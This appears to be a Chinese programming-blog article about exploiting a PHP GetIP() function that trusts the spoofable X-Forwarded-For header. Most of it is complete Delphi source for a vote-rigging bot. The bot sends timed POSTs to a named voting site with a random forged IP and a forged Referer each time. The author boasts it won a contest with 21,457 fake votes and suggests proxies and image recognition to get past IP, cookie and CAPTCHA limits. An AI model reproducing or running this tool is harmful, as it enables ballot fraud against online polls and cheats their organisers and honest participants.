欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

伪造Cookie,伪造ip头,投票  

程序员文章站 2022-06-13 09:33:44
...
PHP中获得IP地址的一个函数,GetIP(),代码如下:
Code:

function GetIP(){
if($_SERVER['HTTP_CLIENT_IP']){
$onlineip=$_SERVER['HTTP_CLIENT_IP'];
}elseif($_SERVER['HTTP_X_FORWARDED_FOR']){
$onlineip=$_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$onlineip=$_SERVER['REMOTE_ADDR'];
}
return $onlineip;
}

该函数获取的IP地址是可以绕过代理而仍能得到机器IP.
分析了函数代码后发现加了代理后,服务器获取的IP是来自变量:
$_SERVER['HTTP_X_FORWARDED_FOR']
这个变量是http头信息的一部分,是http头那就好伪造了,很激动,着手写测试代码,利用php的socket函数(注意这里不能用header()来发,这里是用php模拟http头向其他WEB服务器发送头信息)写了一个简单的测试代码,伪造了一个
X-Forwarded-For:IP地址
格式的头信息给服务器,然后再把投票表单POST到服务器,返回结果提示投票成功.兴奋中!喝了杯咖啡,换用DELPHI7 indy中的IdHTTP组件来进行POST提交,IdHTTP组件还可以直接象服务器发送头信息,设置COOKIE等,所以写这个投票作B程序非它莫属.程序中用了4个随机函数分别生成IP地址的4个段,然后用IDHTTP发送形如"X-Forwarded-For:IP地址"格式的头信息,为了更好的达到访真效果,再向服务器发送一个形如"Referer:URL地址"格式的头信息给服务器,伪造REFERER地址.为了更好的控制投票频率,还需要加个TIMER定时期,可以手动输入投票间隔时间,测试了一下,一秒投10次票很稳定.
最后记者朋友的宝贝女儿以21457票拿了第一名.
IDHTTP也可以使用代理,所以它可以用来对付限制IP,限制COOKIE的所有投票的作B,但是含有验证码的投票程序就不行了,这个可以使用图象识别来搞定.
整个代码如下:
Code:

unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, StdCtrls, IdBaseComponent, IdComponent,
IdTCPConnection, IdTCPClient, IdHTTP,StrUtils, ComCtrls, OleCtrls,
SHDocVw;
type
TForm1 = class(TForm)
web: TWebBrowser;
Panel1: TPanel;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
Button1: TButton;
Edit1: TEdit;
Edit2: TEdit;
Timer1: TTimer;
ComboBox1: TComboBox;
Label6: TLabel;
procedure Timer1Timer(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure ComboBox1Change(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
i:integer;
implementation

{$R *.dfm}
function PostWebPage(url:String;TimeOut:Integer):String;
var
tmpWeb:TIdHTTP;
retrun:String;
para:String;
i:Integer;
paralist:TStrings;
ip1,ip2,ip3,ip4,ip:string;
begin
retrun:='';;
try
para:=MidStr(url,pos('?',url),length(url)-pos('?',url)+1);
paralist:=TStringList.Create;
paralist.Text:=StringReplace(para,'&',#13#10,[rfReplaceAll]);
tmpWeb:=TIdHTTP.Create(nil);
tmpWeb.ReadTimeout:=TimeOut;
Randomize;
ip1:= inttostr(1 + Random(223-58));
ip2:= inttostr(0 + Random(254-0));
ip3:= inttostr(0 + Random(254-0));
ip4:= inttostr(0 + Random(254-0));
ip:=ip1+'.'+ip2+'.'+ip3+'.'+ip4;
tmpWeb.Request.CustomHeaders.Add('Referer:http://baby.dukuai.com/');
//tmpWeb.Request.CustomHeaders.Add('HTTP_PC_REMOTE_ADDR:'+ip);
tmpWeb.Request.CustomHeaders.Add('X-Forwarded-For:'+ip);

for i:=1 to 3 do
begin
try
retrun:=tmpWeb.Post(url,paralist);
form1.web.Navigate('http://vote.dukuai.com//view.php?id=16');
except end;
if retrun<>'' then break;
end;
finally
tmpWeb.Disconnect;
FreeAndNil(tmpWeb);
FreeAndNil(paralist);
end;

Result:=retrun;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var
temp:string;
begin

if trim(edit1.Text)<>'' then begin
temp:=PostWebPage(edit1.text,30000);
if temp<>'' then begin
//memo1.Text:=temp;
//memo1.Lines.SaveToFile('c:temp.htm');
//web.Navigate('c:temp.htm');
inc(i);
label2.Caption:=inttostr(i);
end;
end;
//timer1.Enabled:=false;

end;

procedure TForm1.Button1Click(Sender: TObject);
begin
if self.Button1.Caption='开始' then
begin
timer1.Interval:=strtoint(edit2.Text);
timer1.Enabled:=true;
Button1.Caption:='停止';;
edit1.Enabled:=false;
edit2.Enabled:=false;
combobox1.Enabled:=false;
end
else
begin
timer1.Enabled:=false;
Button1.Caption:='开始';;
edit1.Enabled:=true;
edit2.Enabled:=true;
combobox1.Enabled:=true;
end;
end;

procedure TForm1.ComboBox1Change(Sender: TObject);
begin
edit1.Text:='http://vote.dukuai.com/vote.php?id=16&ITEM1=&#39;+inttostr(combobox1.ItemIndex+1)+'&VoteID=16'
end;

end.